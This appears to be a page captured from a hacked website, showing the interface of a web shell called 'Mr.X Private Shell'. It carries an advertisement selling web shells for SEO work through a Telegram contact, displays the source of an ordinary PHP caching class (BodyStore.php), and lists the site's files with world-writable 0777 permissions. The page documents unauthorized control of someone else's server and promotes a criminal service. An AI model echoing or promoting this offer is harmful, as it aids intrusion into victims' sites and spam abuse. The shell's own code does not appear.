__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Kevinrob\GuzzleCache;
/**
*
* This object is only meant to provide a callable to `GuzzleHttp\Psr7\PumpStream`.
*
* @internal don't use it in your project.
*/
class BodyStore
{
private $body;
private $read = 0;
private $toRead;
public function __construct(string $body)
{
$this->body = $body;
$this->toRead = mb_strlen($this->body);
}
/**
* @param int $length
* @return false|string
*/
public function __invoke(int $length)
{
if ($this->toRead <= 0) {
return false;
}
$length = min($length, $this->toRead);
$body = mb_substr(
$this->body,
$this->read,
$length
);
$this->toRead -= $length;
$this->read += $length;
return $body;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Storage | Folder | 0777 |
|
|
| Strategy | Folder | 0777 |
|
|
| BodyStore.php | File | 842 B | 0777 |
|
| CacheEntry.php | File | 8.69 KB | 0777 |
|
| CacheMiddleware.php | File | 13.63 KB | 0777 |
|
| KeyValueHttpHeader.php | File | 3.15 KB | 0777 |
|